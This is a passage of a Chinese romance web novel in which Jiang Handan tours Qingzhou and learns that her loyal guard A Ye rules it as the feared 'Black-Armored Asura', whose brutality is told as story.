但他太醒目了,无论走到哪里,百姓都会迅速看向他,然后又猛地低下头,眼神中满是敬畏。 “阿夜,上来吧。”姜菡萏在车内道。 马车略略一停,阿夜踏进车内。 这是一辆普通的青幄车,寻常人家多用这种。姜菡萏和阿喜两个人坐着觉得还挺宽敞,但阿夜一上来,空间顿时逼仄起来。 阿夜扶双手扶膝跪坐,头盔依然会碰到车顶,于是干脆取下来。 他戴着头盔与面甲的时候很像一尊杀神,但摘下之后,目光清朗明净,嘴角带着单纯的笑容。 姜菡萏想:唔,还是她的傻阿夜。 方才那样的阿夜气势太过惊人,都让她觉得有点陌生了呢。 “阿夜,我不是庆州的主人。”姜菡萏想了想,开口道,“庆州的主人只有一个,那就是庆州的百姓。” 百姓是土地唯一的主人,一旦让百姓流离失所,土地失去主人,战乱便会发生。 想要天下太平,就要让百姓有地种,有饭吃,有屋住,有衣穿。 一旦有人开始剥夺百姓们拥有的一切,上天就会降下灾祸,直到有人把土地重新还给百姓。 这是她上一世流亡之中发现的真相。 千百年来,历朝历代,大地就是按照这样的规律运转,从无例外。 阿夜看着她,眼神永远都是那么专注,良久,他道:“百姓是土地的主人,就像菡萏是我的主人。百姓不能没有土地,就像我不能没有菡萏。” 姜菡萏:“……” 这么理解……也不是不行。 阿夜说着,继续理解:“如果有人抢走土地,百姓会造反。如果有人抢走菡萏,我也会造反。” 他越理解越觉得菡萏说的话就是有道理,最后总结:“所以我不能抢百姓的土地,也不能让别人来抢。” 姜菡萏:“…………” 虽然过程有点曲折,但结果是没有错的。 “你 已经做得很好了。”姜菡萏托着腮,掀起一角车帘看着外面的街道,感叹,“这才多长时间?庆州已经大不一样了。我没有见过盛世,但想来盛世也不过如此吧?阿夜,你到底是怎么做到的?” 清扫街道,立下规矩,不难。 但要教化一方百姓,使其改头换面,那可是需要数年甚至数十年才有可能办到。 阿夜:“给他们钱。” “这是谁的主意?”一般人统治了一个地方,不从百姓身上掏钱就算好的了,居然还有人倒给百姓钱。 阿夜:“我的。” 姜菡萏笑了:“阿夜,你难道是个治国的天才?” 阿夜紧紧盯着姜菡萏:“菡萏,你喜欢这样的庆州,对不对?” 每每当他紧盯着人的时候,眸子总是格外漆黑光亮,姜菡萏觉得有点难以直视,别开脸:“自然。谁能不喜欢呢。” “那你高兴吗?” “当然高兴。” 阿夜笑了。 那么,这钱就花得很值。 * 澹园占地极广,山石嶙峋,树木繁多,在庆州名重一时。 要不然也不会被鬼见愁占据多年。 现在到了阿夜手里,推倒不少楼台,改建号舍,再移除许多花木,改为校场。于是风景怡人的园林顿时呈现出一片肃杀景象。 很好。姜菡萏并不缺园林,她缺的就是能上阵杀敌的战士。 校场、兵器库、马厩、伙房、号舍……姜菡萏一一看过。 阿夜负责练兵,这些都是郭俊在操劳,姜菡萏重重有赏。 走到一半的时候,姜菡萏看到了一间眼熟的屋子,赫然是一间丹房。 而且是极其标准的丹房,门、窗、台的尺寸十分精准,一看便是精心建造。 “为什么这里会有个丹房?”姜菡萏问。 “这是你的园子。”阿夜解释。 而菡萏的园子里怎么可能没有丹房? “可我未必会来这里。” 阿夜:“那也要有。” 再往前走了一阵,到了一座小楼前。 澹园在鬼见愁手里被布置得富丽堂皇,到了阿夜手中,能变卖的都变卖,用来养兵。 亭台楼阁也不管原本是用来赏月的还是听风的,一概划为号舍,住府兵。 他和郭俊也是一人一间,屋子里只有一床一桌一椅,相当简朴。 这座小楼却是分毫未动,里面的陈设依旧奢华,楼下是厅堂带书房,二楼是寝室,珠帘锦帐,香气幽幽——用的还是月下徊独有的玫瑰香。 屏风后的浴斛里已经备好热水,上面洒满玫瑰花瓣,姜菡萏捞起一片:“我还以为你连月下徊都能弄来。” 阿夜认真道:“我会想办法。” 姜菡萏失笑:“跟你说笑的。这水备得好,我累了,你下去吧。” 阿夜顺从地离开。 玫瑰花散发着甜馥的香气,花瓣底下是雪白的牛乳,姜菡萏把整个人浸在里面,连日的风尘仆仆都被洗去了。 “这里的东西和小姐常用的一样啊。”阿喜替姜菡萏擦干头发,发现屋子里准备的并非寻常棉布,而是一叠丝绸,连数目都和梁州别院一样,是二十幅。 不仅如此,还有梳子、琉璃镜、丝被、象牙席……更别提妆奁前的胭脂与香膏皆是月下徊所制,很难从别处买到。 姜菡萏没有太留意这些,阿夜闻言心里才微微动了一下。 阿夜是比她提前回到庆州,但也只不过早了三四天而已,这点时间根本不够收集这么多她常用的东西。 阿夜……应该是很早就在准备了。 姜菡萏忽然想到阿夜信上说过的池塘,推开窗,只见楼下一片清碧,水面上层层莲叶在风中翻卷,露出粉白的荷花花苞。 庆州地近北疆,水源开始变得珍贵。 只有穷奢极欲之人夸耀豪富,才会在家中挖一口荷花池。 可阿夜自己住的屋子跟府兵的号舍相差无几,最多就是不用和旁人挤一起而已。 而且,在生日那晚之前,她从来没有说过要来庆州。 姜菡萏不理解。 她一直以为阿夜就是在信中说说而已。 风从窗口灌进来,她第一次感觉到庆州的风真的很大,她好像要被风吹起来,一颗心飘飘荡荡的。 “苏妈妈一直说阿夜粗笨,我看他可聪明着呢。”阿喜笑道,“若论讨好小姐,再没有人比他更厉害了。” 姜菡萏:“……” 是的,她身居上位,身边所有人每天最重要的时候就是围着她转,服侍她、讨好她,就是他们的职责。 阿夜这样做,也没什么好奇怪的。 她这样想着,那颗飘飘荡荡的心慢慢落下来。 就在这个时候,阿夜的声音从楼下传来:“饿了吗?该去吃饭了。” 姜菡萏下楼,就看见阿夜站在楼梯口等着她,黑发黑眸黑衣,面含微笑,眸子漆黑光润。 “忽悠”一下,方才好不容易沉下来的心像风筝一样重新飘了起来。 * 桌上的菜式一半是庆州风味,一半是姜菡萏平时所吃的清淡口味。 阿夜想让姜菡萏多尝尝庆州口味,于是让厨房做了十几道本地菜。 又担心姜菡萏吃不惯,所以将姜菡萏平时爱吃的也做了一遍。 于是当姜菡萏坐下,发现桌上堆得满满当当。 阿夜还不停往她碗里夹菜,他的手灵巧且稳定,射箭的时候如此,堆菜的时候也是如此,很快在姜菡萏碗里堆出一座塔。 姜菡萏:“……” 阿夜虽然没说话,但嘴角一直带着笑意,姜菡萏看得出来他夹得兴致勃勃的,夹完才发现:“菡萏,你怎么不吃?” 姜菡萏忽然发现他问话的时候眸子微微亮,水润润的,分外漆黑。 她已经到了嘴边的话不知怎么就变成了低声咕哝:“这让人怎么吃?” 阿夜这才意识到自己夹太多了,另取了一只碗,把菜拨出来。 姜菡萏垂着眼睛,开始吃饭。 阿夜平日里吃饭就是风卷残云,片刻就能吃完,但今天完全不想吃饭,只想给姜菡萏夹菜。 姜菡萏吃完一口,他便往碗里补上一口。 她才洗过澡,头发没有干透,只松松地挽着一只发髻,肌肤像荷花的花瓣,雪白中透着一点轻粉。 不知为何,那一点轻粉渐渐地有了加深的趋势,慢慢变红。 阿夜的筷子顿住。 风过厅堂,两人俱是无声,姜菡萏发现阿夜没了动静,抬起眼,只见阿夜目光深深,视线直直地落在她脸上,一瞬不瞬。 姜菡萏的脸更红了:“看什么看?” “菡萏,你的脸……”阿夜声音低沉,“……有点红。” “都是热的!”姜菡萏只觉得脸更烫了,“你这里没有山里凉快。” 阿夜道:“对不起。” “这没什么对不起的,但是你……”姜菡萏咬了咬唇,低声道,“你能不能别老盯着我?” 阿夜愣了一下:“为什么?” 这么久以来,只要有姜菡萏在的地方,他的视线只会在她身上,保护她、倾听她、看着她……已经成为他的习惯。 姜菡萏也说不上来是为什么,阿夜就像她的影子,她明明早就习惯他的一切。可此时此刻他的视线就是让她心神不宁,脸红心跳,饭也不能好生吃。 她搁下筷子,认真望向阿夜:“我问你一个问题,你老实回答。” 她问得郑重,阿夜立即点头:“你问。” 他的神情很是认真,眸子还是那么一往无前地朝着她看,两人离得又近,姜菡萏能在他的眼睛里看见自己的倒影。 “没什么……”姜菡萏头一回发现自己在退缩,她重新拿起筷子,“吃饭!” * 午后太热,等到太阳落山之后,阿夜才陪着姜菡萏出门。 到底更靠近北方,庆州傍晚的天气比元宝山中还要凉爽。 且没有宵禁,夜上灯火通明,比京城还要热闹。 姜菡萏照旧带着帷帽。 阿夜这次没有穿甲衣,也没有戴头盔,他用一条黑布围巾将自己的头脸遮起来,只露出一双眼睛。 庆州风沙大,街上作这种打扮的人很多,并不打眼。 姜菡萏也想要,这比帷帽方便不少。 为免街上有人瞧见,阿夜将她拉进一条小巷子。 小巷幽暗,只有旁边窗子里透出来的一点光。 姜菡萏摘帷帽的时候,卡住了簪子。 “别动。”阿夜按住她的手。 他本意只是阻止她扯着头发,但当两人的手碰在一起,那细微的触感几乎是同时被放大,两人几乎是同时收 回手。 “我来。”阿夜轻轻替姜菡萏把帷帽摘下,给她披上披帛。 披帛是淡绿色的,衬得她的肌肤益发雪白粉嫩,一双眼睛乌溜溜地,像小鹿。 阿夜感觉到自己心跳如雷,帮她整理披帛的手微微顿住——菡萏只有在心情很不错的时候才会有这样的眼神。 好像总是这样,他一停,姜菡萏便注意到了,然后发现他的目光格外深邃,然而只看了一眼,她便不大自在地别开了脸,刻意用轻松的语气问:“好了吗?” “好了。”阿夜的声音微有一丝紧张,但不明显。 姜菡萏听出来了。 她想,这也是正常的吧?毕竟在她身边的人,永远都担心自己会惹她不高兴。 两人重新回到大街,热闹喧嚣的街道上到处都是店铺和小摊。 很少逛街的姜菡萏在今夜开了眼,每一样东西看着都十分新奇。 阿夜在她身后半步的位置护着她,不让任何人碰到她的衣角。 “这个好吗?”姜菡萏给阿夜看手里的风筝。这次没让哥哥来,要多买点东西回去哄一哄。 阿夜微笑点头,忽地,眼神微凝。 “怎么了?”姜菡萏问。 “没什么。”阿夜微笑,向摊主递上钱袋,另一只手在身后做了一个手势。 暗中随行的属下立刻看懂了——有人偷偷摸摸跟在后面。 没有人知道阿夜为了今日花了多少心血,这一晚的庆州必须国泰民安,万物安乐,不能出一丝差错。 * 姜菡萏买了一样又一样,阿夜手里提着满满的。 已经走了挺远,阿夜问她要不要找个地方坐一坐,歇一歇。 他一提,姜菡萏才觉得腿脚有些酸软,她正想看看哪里有茶楼酒馆可以歇脚,就听到阿夜低声道:“小心。” 小心什么?姜菡萏还没反应过来,阿夜已经拉着她的手,将她拽过来,也许是手里拎的东西太多,手上使力的角度有些偏差,姜菡萏觉得自己好像变成了一只风筝,她轻飘飘地撞进阿夜的怀中。 鼻子一马当先撞上去,还好阿夜的胸膛软硬适中,撞上去也不觉得疼。 她下意识想推开,阿夜按住她。 随即,震耳欲聋的爆竹声在阿夜身后响起。 姜菡萏瞧得清清楚楚,还有几粒爆竹炸在阿夜背上。 和阿夜从前为她做过的那么多事比起来,挡几粒爆竹,实在算不上什么。 可姜菡萏陷在阿夜怀中,仰头看着阿夜的脸,忽然觉得时间都被放慢,周遭的一切变得虚幻起来,灯火迷离如梦,只有阿夜的脸近在咫尺,如此真实。 阿夜护着姜菡萏,皱眉去看身边的爆竹,不知是谁这样不长眼,险些崩着菡萏。 然后他回过头,想向姜菡萏赔罪,就发现姜菡萏在怀里仰着头,一眨不眨地看着他。 阿夜如果常照镜子,就会发现,这是他看姜菡萏时的眼神——眼中只有眼前这个人、什么都容不下的眼神。 但他没有,他只是发现,他从来没有在姜菡萏脸上看到过这样的眼神。 这眼神让他从骨髓里往外冒泡,全身都浸入一种难以言愉的喜悦与快乐之中,连那恼人的爆竹声都变成了仙乐。 即便是在最美的美梦中,他也想象不出菡萏会这样看着他。 他揽在姜菡萏身上的手无法自控地收紧了一点,魂魄已然飞往天外,只有本能想让她再近一点,更近一点。 爆竹声停了,硝烟气味在空气中弥漫。 有人在旁边拼命咳嗽,越咳越大声。 姜菡萏率先清醒过来,回头望去,呆住。 阿夜的视线被姜菡萏的动作牵引,满心都是烦躁,这是哪个蠢货被呛着了? 然后他猛然被姜菡萏推开了。 阿夜抬头,看到了那个蠢货。 姜祯一样用围巾裹着头脸,穿一身从来没有穿过的青布衣裳,双手叉腰,怒视阿夜:“大胆,你在干什么?!” “没什么,他帮我挡爆竹而已。”姜菡萏说着,问道,“哥,你们怎么来了?” 许南珠作差不多的打扮,站在姜祯身边,眼中露出一丝无奈。 几名阿夜的手下散布在人群中,都低下了头——暗中跟着的人是家主大人,他们能怎么办? * 片刻后,茶楼雅间中。 “小姐从未出过这样的远门,家主大人十分担心,所以跟过来了。”许南珠解释。 姜祯瞪着阿夜,杀气腾腾。 阿夜坐在姜菡萏身边,视若无睹。 姜菡萏问:“那为何不去澹园找我?” “因为家主大人觉得庆州有点不对劲。”许南珠道,“家主大人以前从州路过过一次,那时候的庆州与现在天差地别。” 姜祯:“不错。庆州怎么可能变成这样?事出反常必有妖!” 他的语气铿锵有力,但实际上,最后那句话是许南珠提醒他的。 “家主大人,你觉不觉得这里的人有点假?”入城之后,许南珠说,“每个人都恭谦有礼,连查路引的守卫都这样客气。” 姜祯茫然不觉:“这不应该吗?” 别人都恭恭敬敬,礼遇有加,不是很正常吗? 许南珠轻叹一口气:“可是家主大人,您现在只是一个普通的商人,并非姜家家主。” 姜祯当惯了姜家家主,就和姜菡萏当惯了姜家嫡女一样,他们很难察觉这种异常。 直到许南珠一一分析,指出一对店主与主顾正在一边讨价还价一边互相鞠躬,姜祯才觉得真的不正常。 于是他决定调查个清楚。 “把人带上来。”雅间内,姜祯一拍桌子,下令。 很快两个人被暗卫带进来。 姜菡萏感觉他们有点眼熟,但以她的脸盲程度,实在想不起在哪里见过。 “说,是谁让你们那么干的?”姜祯喝问。 这两人显然都经过了一番拷打,眼角乌青,哭丧着脸:“我们也不想这样的,是那玄——” 一直安静坐在姜菡萏身边的阿夜猛然抬起头,冰冷的视线落在两人身上。 两人一呆,不知是想起了什么,忙道:“是那澹园主人让我们这些天里都客客气气,只要做得好,不单免收一个月的赋税,还倒给每人一两银子。谁要是敢吵架打架,立罚一千两。呜呜呜,他自来庆州,就定过这一条规矩,小的们不敢不听啊!” 姜菡萏这才想起来,这是她刚进城的时候,在街上看到过的那对彼此鞠躬的老板和客人。 ……演得倒是相当卖力。 她的心情有点复杂,挥挥手让人把这两人带出去,然后看向阿夜,“所以,你就是这样花钱的?” 阿夜没有反驳,顺从地点点头,解释道:“我在许多商家都有抽成分红,这是挣来的钱。” 不是菡萏给的。 菡萏给的,除了养兵,谁也别想花上。 姜菡萏揉了揉额角,有点头疼。 她觉得自己可能没教好阿夜。 阿夜几乎不花钱。一不买衣裳,二不买吃食,三不去做任何消遣,他的月钱发了之后,每次都是放在她的桌上。 “给菡萏的。”从第一次领月钱起,他就是这样说。因为在他的眼里,她好像很缺钱,总是要变卖东西。 姜菡萏是缺钱的,但再缺也不缺他那点,想了想便让苏妈妈帮他存起来,万一他以后要用钱,也不至于两手空空。 可能就是这点害了他,他没花过钱,根本不知道钱该怎么花。 每人一两——整个 庆州城有多少人啊!!这一把洒出去多少万两?! “阿夜,你说说,为什么要这么做?”她真的很不理解,“这么花钱你高兴吗?” “我想让你高兴。”阿夜看着她,眸子满是认真,“菡萏,你说过,你高兴的。” 姜菡萏怔住。 他的眼神真挚得好像要把心掏出来给她看。 她没有办法对着这样的眼神说教,并且心里莫名开始慌张,抓起茶杯,开始喝茶。 茶杯太小了,挡不住她脸上的红晕。 是的,他铺张浪费,他劳民伤财,他不可理喻,竟然举倾城之力讨她欢心……必须教训一顿,让他下次不能再犯。 可是……他讨到了。 她的胸膛中有一种难以言喻的快乐,心里好像能挤出蜜水来,这是长这么大以来,头一次有这种感受。 心里甜丝丝,明晃晃,亮堂堂。 姜祯本以为妹妹会发脾气,等了半天发现妹妹只会红着脸喝茶,顿时决定自己来,他指着阿夜的鼻子大骂:“你这是欺骗!” 阿夜微微皱眉:“我不会骗菡萏。我告诉过菡萏。” “……对。”姜菡萏努力让自己的声音显得冷静镇定,可是听上去好像细若蚊蚋。 对……对个鬼啊!姜祯气得站起来:“我看你是被这小子下了迷魂药了!你知不知道他在庆州的名号是什么?你以为他还是你身边那个老实跟班吗?!” 阿夜猛地站起来,声音紧绷:“不要说。” 姜祯冷哼:“你怕了是不是?你害怕菡萏知道你的真面目!” “不要说。”阿夜声音沉沉地,冰冷视线锁定姜祯,“我不想让菡萏听见。” 姜祯身为姜家家主,什么天潢贵胄没见过,可此时却觉得阿夜的视线像有形的刀刃架在了他的脖子上,一时间竟然真的说不出话来。 姜菡萏慢慢放下茶杯,不敢相信阿夜竟然真的有事瞒着她。 她盯着阿夜的眼睛:“阿夜,你说出来,我想知道。” 阿夜脸上露出挣扎的表情:“……我不想说。” 门外忽然响起一阵喧哗,有客人不顾小二解释,非要抢这间雅间,骂骂咧咧让小二把里面的人都赶出去。 小二再三赔罪,对方显然来头不小,且又口齿缠绵不清,大约是喝醉了。 醉鬼难惹,有身份的醉鬼更加难惹。 小二没办法,最后还是敲开门,不停给大家赔不是,请大家移步换一个稍小一点的雅间,茶钱全免。 从来只有姜祯抢别人雅间的份,哪里被别人抢过?姜祯冷哼一声,正要说话。 “啰啰嗦嗦有完没有完?”一个醉醺醺的年轻男子走进来,身上穿得花蝴蝶似的,左右各搂着一名花枝招展的女伎,“知道我是谁吗?本州知府,我哥,懂不懂?识相的快滚——” 最后一个“滚”字像是卡在了他喉咙里,他瞪着里面的阿夜,眼睛都直了,忽然发出一声心胆欲裂的惨叫,扔下两名女伎,连滚带爬地冲下楼梯。 “玄甲修罗!”他惊恐的叫声在空气里回荡,“是玄甲修罗啊!” 第55章 第55章别怕我好吗?(结尾小修…… 雅间内一片寂静。 “玄甲修罗?”姜菡萏重复着这四个字,“阿夜,他们为什么这么叫你?” 阿夜脸上有明显的担心:“你不喜欢,对吗?” “他不愿说,我来说!”姜祯大声道,“方才那个人应该就是知府林大任的弟弟林长河,鬼见愁在庆州一手遮天之时,林长河和鬼见愁打得火热,所以鬼见愁死的时候,他就在旁边。” 阿夜猛然抬头,想要阻止姜祯。 但他没有继续,因为姜菡萏拉住了他的衣袖。 姜菡萏的手指细白,他只要轻轻一挣就能挣脱,可她的手指一沾上他的衣袖,他的脑子里就没有甩脱的念头。 姜祯接着往下说:“林长河目睹了阿夜杀鬼见愁的全过程,其实不止是阿夜,全庆州的人都瞧见了。” 因为阿夜杀了鬼见愁之后,剥下了鬼见愁完整的人皮,塞上稻草,吊在城头十天十夜。 庆州商帮之间动不动就斗得你死我活,没有一次不死人,庆州百姓已经习以为常,商帮本身也觉得是家常便饭。 鬼见愁死,其它商帮本该立刻闻风而动,上前瓜分地盘。 可当那具塞着稻草的人皮在城头飘飘扬扬时,庆州城内一片死寂,没有一家商帮敢点亮门前的灯笼,生怕下一个被挂上墙头的就轮到自己。 阿夜就是这样一战成名,在庆州站稳了脚跟。 “——妹妹,他在你面前的乖顺忠诚全是装的,一离开你的视线,他就露出了真面目!”姜祯说得义愤填膺,“这样的人绝不能留在你身边!” 最后一句话落地,阿夜眼中陡现寒芒,右手握住了刀柄。 姜祯看到了,大怒:“你看,你看,他连我都想杀!” “我是想杀,”阿夜道,“但我不会杀你,你是菡萏的哥哥,杀了你,菡萏会伤心。” 尊贵的姜家家主光是听最前面四个字就暴跳如雷了,吩咐暗卫:“保护小姐,我们今夜就走!” 阿夜的刀出鞘,挡在姜菡萏面前:“谁敢带走菡萏?” 阿夜动杀机的时候一点儿也没有咄咄逼人,他就像一把出鞘的刀,平静地散发着冰冷的杀气,让人望而生畏。 姜祯躲到暗卫身后,焦急:“妹妹,快过来!” 在这种剑拔弩张的气氛下,姜菡萏慢慢站起身。 阿夜回头看她,眼中有一丝委屈:“菡萏,你答应过我的,会在庆州住上一天。” 巳时三刻才入城,此刻戌时才过半,满打满算,也不过五个时辰。 姜菡萏直接道:“回澹园。” 阿夜的目光顿时亮起来。 姜祯大叫:“妹,别上他的当,澹园可是他的地盘!” 阿夜沉声道:“澹园是菡萏的。” 姜祯才不信。 你还装! * 姜祯一路都试图劝阻姜菡萏,甚至打算强行把妹妹打包带回京城。 但他高估了自己的实力,原以为这趟来是吟风弄月,看看庆州的风土人情,身边带的暗卫不多,自保足够,想要从阿夜手里抢人却有难度。 更何况阿夜这小子实在太会装了,一路都只是伴行在马车旁,明明是庆州之主,还摆出一副老老实实当侍卫的模样。 姜祯无奈,只得回到澹园,心急火燎把郭俊叫到跟前。 郭俊昔年在西山别院有多闲,来到庆州之后就有多忙。除了收税和澹园庶务,他还要负责和庆州官场及各商帮打交道,天天忙得脚不沾地。 此时听完姜祯的训斥与抱怨,郭俊擦了擦额头上的汗:“家主大人,乱世需用重典,夜统领的手法虽有些残忍,但若非如此,庆州的局面绝没有这么快稳定下来。就拿那些商帮来说,鬼见愁一死,他们之间必定要混战许久,说不定还要追杀夜统领,等到那个时候,死的可就不止一个鬼见愁了。” “按你说,他杀人剥皮,还有道理了?”姜祯瞪着他,“等等,什么夜统领?府兵当中最大的官儿也不过是校尉,哪来的统领?” 郭俊跪下:“回家主大人,庆州知府只管上缴赋税巴结上峰,庆州内务一向是商帮自治,阿夜如今是众商帮之主,便是实际上的庆州之主。属下们总不好再直呼其名,校尉乃是官职,我等须得隐藏身份,亦不敢称呼,所以才以‘统领’二字呼之。” 郭俊沉稳宽厚,是府兵中最为老实可靠之人,所以才被派去西山保护姜菡萏,一去就是十年。 郭俊的话,姜祯总是信得过的,但越是无法反驳,越是烦躁:“照你这么说,他现在变成什么玄甲修罗,非但无罪,反而有功了?他若当真一心为了姜家,为什么还要瞒骗菡萏?” 这个问题郭俊答不上来,想了想,郭俊道:“属下只知道一件事,只要有小姐在一日,夜统领便会忠于姜家一日。无论夜统领有多强大,家主大人都不必忧心。” * “玄甲修罗?” 许南风的眼睛闪闪发亮,“呵,这名儿威风!我也想要一个!” 姜菡萏今晚出去逛街的时候由阿夜作陪,他便自己去庆州城中逛了逛,还给姐姐买了城中特产,准备回去就给姐姐,没想到姐姐竟然也来了。 许南珠收下弟弟的礼物,轻轻摸了摸他的脑袋:“你啊,只是觉得名字威风吗?阿夜在庆州说一不二,你不觉得这才是真正的威风吗?” 许南风想了想,他在梁州别院带府兵,府兵尊敬归尊敬,但确实不如这 边的府兵对阿夜那般敬畏,阿夜令行禁止,府兵们没有人敢说半个“不”字。 “阿夜拿下了景州,你可知道?”许南珠道,“按说,梁州的府兵该分一半出去,你是最好的统兵人选,本该像阿夜一样成为真正的一州之主。” 许南风一脸兴奋:“真的啊?” 许南珠:“小姐一向对你甚是看重,却迟迟没有下令,说明有人从中作梗。” 而这个人,八成是阿夜。 景州是他打下的,他有足够的话语权。 许南风倒是看得很开:“算了,他打下的自然得归他,唔,以后我自己去打一个。” 许南珠看着弟弟,爽朗过头了,就有点没心没肺。 “阿风,你没有发现,小姐待阿夜很不同吗?” 许南风点头:“毕竟阿夜跟她时间更久,她更信任一些。” “……”许南珠决定不再迂回,直接道,“阿夜心仪小姐,满眼都是小姐,他对小姐有非分之想。” 许南风一惊:“可小姐明明对我……” “对,小姐明明对你示好,他将会是你的劲敌,只有除掉他,你才是小姐身边最信任的人。” 所以她才会对姜祯诸般提醒。 不管是什么原因,“瞒上”都是大过。再坚实的信任,也会因为“隐瞒”二字而产生裂缝。 * 小楼内,阿喜被遣了出去,屋内只剩姜菡萏与阿夜两人。 阿夜垂手站立,低着头,不语。 姜菡萏坐在椅上,看着他半晌:“好了,现在没有旁人了,你有什么要跟我说的?” 阿夜低声:“我错了,对不起。” 姜菡萏实在很难把眼前这个低眉顺眼的少年同那个手段血腥的玄甲修罗联系起来,板着脸问:“错哪儿了?” 阿夜:“我应该把林长河关起来,等你走了再放出来。” 姜菡萏:“……你、你是打定主意要瞒着我对吗?” “你看,若是能一直瞒着你,你就会一直高兴的。”阿夜声音里带着一丝委屈和遗憾,“你只在这里待一天,以后也未必会再来,我……我希望你能看到最好的庆州,最好的……” ……最好的我。 可惜,他努力隐瞒的一切被姜祯叫破了。 一切还是传进了菡萏的耳朵里。 他有几分颓丧,想把林长河抓起来杀个几次,还有姜祯……不,姜祯不可以,菡萏会生气,会伤心。 他一再劝说自己,可姜祯要把菡萏带走的模样一直在他眼前晃,每晃一次,心里的杀机就重一分。 姜菡萏按了按额角,不知该从哪里同他讲起,想了想,最重要的还是要教会他不可过于残忍。 “你先说说,为什么要……要把鬼见愁那样?” “剥皮吗?”阿夜道,“若是不剥皮,整个人吊上去,吊不了多久,脖子就会断,只剩一个脑袋,看着不够吓人。” 姜菡萏努力抹去脑海里想象的画面,她经历过乱世,见过比这个更恐怖更血腥的事,但是她真的不愿阿夜去做这些:“难道就没有别的法子吗?” 阿夜认真道:“这个法子最省事。人们都怕死,只有死才能让他们老实。如果不这样,会有更多人冲过来杀我,我就要杀更多的人,很麻烦。” 姜菡萏看着他,他的目光仍是清澈单纯,一如最初被她捡回来的时候。 庆州本就是你死我活的战场,他不杀别人,别人就会来杀他。 她的声音有点低沉:“既然这是最好的办法,为什么还要瞒着我?” “因为……”阿夜顿了一下,“我怕你害怕。” 姜菡萏:“什么?” “玄甲修罗,郭俊跟我说了什么是修罗,修罗,是恶神,不是人。”阿夜低声道,“很多人怕我,看见我就逃。菡萏,我很害怕……我怕你知道了以后,也会怕我。” 杀鬼见愁的时候,他没什么感觉。 所有人面对他望风而逃的时候,他也没什么感觉。 可当菡萏要来庆州,要看到这一切,他忽然害怕了,身为人的种种情绪复苏——如果菡萏在面对他的时候脸上也流露出恐惧,也和别人一样想逃开……他惊出了一身冷汗。 不可以……不可以让菡萏知道。 可老天爷偏偏像是在戏弄他,菡萏还是知道了。 他无法遏止心中的恐惧,上前一步,单膝跪在椅前,握住椅子的扶手,将姜菡萏圈在椅内。 他握着椅子的手十分用力,手背上青筋暴起,一想到菡萏会逃开,他就恨不能将自己化为牢笼,永远地困住她,不让她离开。 他仰头望着姜菡萏,低低的声音里带着一丝哀求:“菡萏,别怕我好吗?” 第56章 第56章阿夜,你弄疼我了 阿夜明明是跪着的,也是在仰视,可也许是因为臂展太长,像一道围栏,将她困在方寸之间。 姜菡萏觉得自己整个人被他圈了起来,莫名有些不自在:“你先起来。” 阿夜目光有些哀伤,没有动。 姜菡萏叹了口气:“阿夜,我在你心里,胆子就这么小吗?” 阿夜:“若是胆子大,晚上睡觉怎么会常做噩梦?” 姜菡萏心说那不一样。 “你的手段确实残忍了一些,但恶人自有恶报,对付恶人,再怎么凶残都不过分,我不怪你,也不怕你。”姜菡萏说着,微微笑了,“你还是我的好阿夜。” 她脸上的笑容像阳光点亮天空一样点亮了阿夜的眼睛:“当真吗?” “我什么时候骗过你?” 阿夜眼中的担忧与阴霾完全消散,整个人一跃而起,仰天嚎叫了一声。 这是狼嚎。 随即,不知从哪里传来另一声长嚎,像是在应喝。 姜菡萏:“玫瑰糖?白天怎么没看见它?” “现在叫阿糖了。”阿夜说着,皱了一下眉头,“自从来了庆州,它越来越不像狼了,而且现在很丑。” 姜菡萏很好奇怎么个不像法,阿夜无奈,告诉她真的很难看。 姜菡萏想看,阿夜只得嚎了一声。 然后就见夜色中飞快奔来一只肥硕圆润大狗,一边跑一边有什么东西在空中飘飞,待到进了小楼,便飞身往阿夜身上扑。 阿夜长腿飞起,给了它一脚,半空踹出一大片飞舞的蒲公英。 姜菡萏:“……” 阿糖之前在斗兽场里出来时一身是伤,瘦骨嶙峋,此时已经结实滚壮,并且炸毛,身上的毛凹一块凸一块,确实……很丑。 阿夜解释:“狼到了夏季会换毛,没有同伴跟它打架,它身上的毛不容易褪,于是长成这个丑样子。” 阿糖好像还记得姜菡萏,冲着姜菡萏点头摇尾,有点鬼迷日眼,想往姜菡萏身边凑,又有点不敢,于是挨在阿夜脚边向姜菡萏咧开嘴。 姜菡萏:“它看起来不怎么像狼,更像狗……” 阿夜一脸嫌弃:“它天天出去找小母狗。” 阿糖倒是挺骄傲,“嗷呜”了一嗓子。 阿夜看起来还想给它一脚。它到处飞毛,把菡萏的小楼都弄脏了。 “不许欺负它。”姜菡萏道,“它以前那么可怜,现在也该让它过点好日子了。” 她左右看了看,从果盘里拿了个桃子,问阿夜:“狼吃这个吗?” 阿夜点头:“吃。” 姜菡萏便扔给阿糖。 阿糖一仰头就叼住,“咔嚓咔嚓”啃了起来。 阿夜想起从前还在狼群里的时候,除了狩猎,狼群还喜欢找果子。 狼不会爬树,只能在树底下捡掉落的吃。但阿夜会,于是他常常爬上树把果子都摘下来,它们吃得很开心。 从他被斗兽场抓走,他就没有了同伴。 不过没关系,他有菡萏,还有这只丑阿糖。 阿糖吃得很开心。 阿夜在姜菡萏旁边的椅子上坐下,想了想,认真道:“我以前也很苦,现在也想过点好日子。” 姜菡萏正拿起第二颗桃子,准备喂给阿糖,闻言一怔,心想你现在是庆州的玄甲修罗,日子过得还不够好吗? 但只见阿夜的视线从她的脸上移到桃子上,又从桃子上,移到她的脸上。 这眼神已经不是暗示,而是 明示了。 姜菡萏不由笑了,把桃子递给阿夜:“喏,给你。” 阿夜没有接,他低下头,在她手里咬了一口。 姜菡萏看着手里缺了一口的桃……她这辈子还是头一次服侍人吃果子。 偏偏阿夜吃得眉眼带笑,漆黑的眼眸里满是笑意。 姜菡萏脸上忽然有些发热,把桃子塞进他的手里。 指尖碰到了他的手,他的手还是那么温暖。 “好了,你该走了。”姜菡萏努力做出自若的样子,“你再不走,我哥要等不及了。” 阿夜拿着桃子,有点笑不出来了:“我要给你守夜的。” “那样的话,我哥可能连夜就要带我走。” “……” 阿夜没话说了,他拿着桃,带着阿糖离开。 星光淡淡,小楼外的池塘里,荷花已经打开了一两朵花苞,空气中飘着淡淡的清逸香气。 啃着桃子,心情像是住了一只飞扬振翅的小鸟,回头看向小楼。 小楼亮着灯光,不再像以往那样一片空洞。 菡萏在里面。 菡萏像太阳一样让整座澹园活了过来。 有菡萏在,花开始盛放,空气开始变得芬芳,连桃子都变得这样好吃。 他想起他在她手中咬下的那一口桃——他分不清是桃子更香些,还是她的手更香些。 * 当时姜祯果然把姜菡萏教训了一阵。 